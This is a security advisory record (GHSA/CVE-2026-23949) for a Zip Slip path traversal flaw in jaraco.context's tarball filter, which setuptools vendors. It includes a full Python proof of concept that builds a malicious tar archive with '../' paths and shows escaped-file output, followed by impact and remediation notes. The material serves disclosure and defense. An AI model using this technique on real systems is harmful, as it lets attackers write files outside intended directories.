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13 KiB
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13 KiB
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{"schema_version":"1.9.0","id":"GHSA-58pv-8j8x-9vj2","published":"2026-01-13T21:48:17Z","modified":"2026-09-10T03:50:32.597700920Z","aliases":["CVE-2026-23949","PYSEC-2026-1469"],"summary":"jaraco.context Has a Path Traversal Vulnerability","details":"### Summary\nThere is a Zip Slip path traversal vulnerability in the jaraco.context package affecting setuptools as well, in `jaraco.context.tarball()` function. The vulnerability may allow attackers to extract files outside the intended extraction directory when malicious tar archives are processed.\nThe strip_first_component filter splits the path on the first `/` and extracts the second component, while allowing `../` sequences. Paths like `dummy_dir/../../etc/passwd` become `../../etc/passwd`.\nNote that this suffers from a nested tarball attack as well with multi-level tar files such as `dummy_dir/inner.tar.gz`, where the inner.tar.gz includes a traversal `dummy_dir/../../config/.env` that also gets translated to `../../config/.env`.\n\nThe code can be found:\n- https://github.com/jaraco/jaraco.context/blob/main/jaraco/context/__init__.py#L74-L91\n- https://github.com/pypa/setuptools/blob/main/setuptools/_vendor/jaraco/context.py#L55-L76 (inherited)\n\nThis report was also sent to setuptools maintainers and they asked some questions regarding this.\n\nThe lengthy answer is:\n\nThe vulnerability seems to be the `strip_first_component` filter function, not the tarball function itself and has the same behavior on any tested Python version locally (from 11 to 14, as I noticed that there is a backports conditional for the tarball).\nThe stock tarball for Python 3.12+ is considered not vulnerable (until proven otherwise 😄) but here the custom filter seems to overwrite the native filtering and introduces the issue - while overwriting the updated secure Python 3.12+ behavior and giving a false sense of sanitization.\n\nThe short answer is:\n\nIf we are talking about Python < 3.12 the tarball and jaraco implementations / behaviors are relatively the same but for Python 3.12+ the jaraco implementation overwrites the native tarball protection.\n\nSampled tests:\n<img width=\"1634\" height=\"245\" alt=\"image\" src=\"https://github.com/user-attachments/assets/ce6c0de6-bb53-4c2b-818a-d77e28d2fbeb\" />\n\n### Details\n\nThe flow with setuptools in the mix:\n```\nsetuptools._vendor.jaraco.context.tarball() > req = urlopen(url) > with tarfile.open(fileobj=req, mode='r|*') as tf: > tf.extractall(path=target_dir, filter=strip_first_component) > strip_first_component (Vulnerable)\n```\n\n### PoC\n\nThis was tested on multiple Python versions > 11 on a Debian GNU 12 (bookworm).\nYou can run this directly after having all the dependencies:\n```py\n#!/usr/bin/env python3\nimport tarfile\nimport io\nimport os\nimport sys\nimport shutil\nimport tempfile\nfrom setuptools._vendor.jaraco.context import strip_first_component\n\n\ndef create_malicious_tarball(traversal_to_root: str):\n tar_data = io.BytesIO()\n with tarfile.open(fileobj=tar_data, mode='w') as tar:\n # Create a malicious file path with traversal sequences\n malicious_files = [\n # Attempt 1: Simple traversal to /tmp\n {\n 'path': f'dummy_dir/{traversal_to_root}tmp/pwned_by_zipslip.txt',\n 'content': b'[ZIPSLIP] File written to /tmp via path traversal!',\n 'name': 'pwned_via_tmp'\n },\n # Attempt 2: Try to write to home directory\n {\n 'path': f'dummy_dir/{traversal_to_root}home/pwned_home.txt',\n 'content': b'[ZIPSLIP] Attempted write to home directory',\n 'name': 'pwned_via_home'\n },\n # Attempt 3: Try to write to current directory parent\n {\n 'path': 'dummy_dir/../escaped.txt',\n 'content': b'[ZIPSLIP] File in parent directory!',\n 'name': 'pwned_escaped'\n },\n # Attempt 4: Legitimate file for comparison\n {\n 'path': 'dummy_dir/legitimate_file.txt',\n 'content': b'This file stays in target directory',\n 'name': 'legitimate'\n }\n ]\n for file_info in malicious_files:\n content = file_info['content']\n tarinfo = tarfile.TarInfo(name=file_info['path'])\n tarinfo.size = len(content)\n tar.addfile(tarinfo, io.BytesIO(content))\n\n tar_data.seek(0)\n return tar_data\n\n\ndef exploit_zipslip():\n print(\\\"[*] Target: setuptools._vendor.jaraco.context.tarball()\\\")\n\n # Create temporary directory for extraction\n temp_base = tempfile.mkdtemp(prefix=\\\"zipslip_test_\\\")\n target_dir = os.path.join(temp_base, \\\"extraction_target\\\")\n\n try:\n os.mkdir(target_dir)\n print(f\\\"[+] Created target extraction directory: {target_dir}\\\")\n\n target_dir_abs = os.path.abspath(target_dir)\n print(target_dir_abs)\n depth_to_root = len([p for p in target_dir_abs.split(os.sep) if p])\n traversal_to_root = \\\"../\\\" * depth_to_root\n print(f\\\"[+] Using traversal_to_root prefix: {traversal_to_root!r}\\\")\n\n # Create malicious tarball\n print(\\\"[*] Creating malicious tar archive...\\\")\n tar_data = create_malicious_tarball(traversal_to_root)\n\n try:\n with tarfile.open(fileobj=tar_data, mode='r') as tf:\n for member in tf:\n # Apply the ACTUAL vulnerable function from setuptools\n processed_member = strip_first_component(member, target_dir)\n print(f\\\"[*] Extracting: {member.name:40} -> {processed_member.name}\\\")\n\n # Extract to target directory\n try:\n tf.extract(processed_member, path=target_dir)\n print(f\\\" ✓ Extracted successfully\\\")\n except (PermissionError, FileNotFoundError, OSError) as e:\n print(f\\\" ! {type(e).__name__}: Path traversal ATTEMPTED\\\")\n except Exception as e:\n print(f\\\"[!] Extraction raised exception: {type(e).__name__}: {e}\\\")\n\n # Check results\n print(\\\"[*] Checking for extracted files...\\\")\n\n # Check target directory\n print(f\\\"[*] Files in target directory ({target_dir}):\\\")\n if os.path.exists(target_dir):\n for root, _, files in os.walk(target_dir):\n level = root.replace(target_dir, '').count(os.sep)\n indent = ' ' * 2 * level\n print(f\\\"{indent}{os.path.basename(root)}/\\\")\n subindent = ' ' * 2 * (level + 1)\n for file in files:\n filepath = os.path.join(root, file)\n try:\n with open(filepath, 'r') as f:\n content = f.read()[:50]\n print(f\\\"{subindent}{file}\\\")\n print(f\\\"{subindent} └─ {content}...\\\")\n except:\n print(f\\\"{subindent}{file} (binary)\\\")\n else:\n print(f\\\"[!] Target directory not found!\\\")\n\n print()\n print(\\\"[*] Checking for traversal attempts...\\\")\n print()\n\n # Check if files escaped\n traversal_attempts = [\n (\\\"/tmp/pwned_by_zipslip.txt\\\", \\\"Escape to /tmp\\\"),\n (os.path.expanduser(\\\"~/pwned_home.txt\\\"), \\\"Escape to home\\\"),\n (os.path.join(temp_base, \\\"escaped.txt\\\"), \\\"Escape to parent\\\"),\n ]\n\n escaped = False\n for check_path, description in traversal_attempts:\n if os.path.exists(check_path):\n print(f\\\"[+] Path Traversal Confirmed: {description}\\\")\n print(f\\\" File created at: {check_path}\\\")\n try:\n with open(check_path, 'r') as f:\n content = f.read()\n print(f\\\" Content: {content}\\\")\n print(f\\\" Removing: {check_path}\\\")\n os.remove(check_path)\n except Exception as e:\n print(f\\\" Error reading: {e}\\\")\n escaped = True\n else:\n print(f\\\"[-] OK: {description} - No escape detected\\\")\n\n if escaped:\n print(\\\"[+] EXPLOIT SUCCESSFUL - Path traversal vulnerability confirmed!\\\")\n else:\n print(\\\"[-] No path traversal detected (mitigation in place)\\\")\n\n finally:\n # Cleanup\n print()\n print(f\\\"[*] Cleaning up: {temp_base}\\\")\n try:\n shutil.rmtree(temp_base)\n except Exception as e:\n print(f\\\"[!] Cleanup error: {e}\\\")\n\n\ndef check_python_version():\n print(f\\\"[+] Python version: {sys.version}\\\")\n # Python 3.11.4+ added DEFAULT_FILTER\n if hasattr(tarfile, 'DEFAULT_FILTER'):\n print(\\\"[+] Python has DEFAULT_FILTER (tarfile security hardening)\\\")\n else:\n print(\\\"[!] Python does not have DEFAULT_FILTER (older version)\\\")\n print()\n\n\nif __name__ == \\\"__main__\\\":\n check_python_version()\n exploit_zipslip()\n```\n\nOutput:\n```\n[+] Python version: 3.11.2 (main, Apr 28 2025, 14:11:48) [GCC 12.2.0] \n[!] Python does not have DEFAULT_FILTER (older version) \n\n[*] Target: setuptools._vendor.jaraco.context.tarball() \n[+] Created target extraction directory: /tmp/zipslip_test_tnu3qpd5/extraction_target \n[*] Creating malicious tar archive... \n[*] Extracting: ../../tmp/pwned_by_zipslip.txt -> ../../tmp/pwned_by_zipslip.txt \n ✓ Extracted successfully \n[*] Extracting: ../../../../home/pwned_home.txt -> ../../../../home/pwned_home.txt \n ! PermissionError: Path traversal ATTEMPTED \n[*] Extracting: ../escaped.txt -> ../escaped.txt \n ✓ Extracted successfully \n[*] Extracting: legitimate_file.txt -> legitimate_file.txt \n ✓ Extracted successfully \n[*] Checking for extracted files... \n[*] Files in target directory (/tmp/zipslip_test_tnu3qpd5/extraction_target): \nextraction_target/ \n legitimate_file.txt \n └─ This file stays in target directory... \n\n[*] Checking for traversal attempts... \n\n[-] OK: Escape to /tmp - No escape detected \n[-] OK: Escape to home - No escape detected \n[+] Path Traversal Confirmed: Escape to parent \n File created at: /tmp/zipslip_test_tnu3qpd5/escaped.txt \n Content: [ZIPSLIP] File in parent directory! \n Removing: /tmp/zipslip_test_tnu3qpd5/escaped.txt \n[+] EXPLOIT SUCCESSFUL - Path traversal vulnerability confirmed! \n\n[*] Cleaning up: /tmp/zipslip_test_tnu3qpd5\n```\n\n### Impact\n\n- Arbitrary file creation in filesystem (HIGH exploitability) - especially if popular packages download tar files remotely and use this package to extract files.\n- Privesc (LOW exploitability)\n- Supply-Chain attack (VARIABLE exploitability) - relevant to the first point.\n\n### Remediation\n\nI guess removing the custom filter is not feasible given the backward compatibility issues that might come up you can use a safer filter `strip_first_component` that skips or sanitizes `../` character sequences since it is already there eg.\n```\nif member.name.startswith('/') or '..' in member.name:\n raise ValueError(f\\\"Attempted path traversal detected: {member.name}\\\")\n```","affected":[{"package":{"name":"jaraco-context","ecosystem":"PyPI","purl":"pkg:pypi/jaraco-context"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"5.2.0"},{"fixed":"6.1.0"}]}],"versions":["5.2.0","5.3.0","6.0.0","6.0.1","6.0.2"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/01/GHSA-58pv-8j8x-9vj2/GHSA-58pv-8j8x-9vj2.json"}}],"references":[{"type":"WEB","url":"https://github.com/jaraco/jaraco.context/security/advisories/GHSA-58pv-8j8x-9vj2"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-23949"},{"type":"WEB","url":"https://github.com/jaraco/jaraco.context/commit/7b26a42b525735e4085d2e994e13802ea339d5f9"},{"type":"PACKAGE","url":"https://github.com/jaraco/jaraco.context"},{"type":"WEB","url":"https://github.com/jaraco/jaraco.context/blob/main/jaraco/context/__init__.py#L74-L91"},{"type":"WEB","url":"https://github.com/pypa/setuptools/blob/main/setuptools/_vendor/jaraco/context.py#L55-L76"}],"database_specific":{"cwe_ids":["CWE-22"],"github_reviewed":true,"github_reviewed_at":"2026-01-13T21:48:17Z","nvd_published_at":"2026-01-20T01:15:57Z","severity":"HIGH"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N"}]} |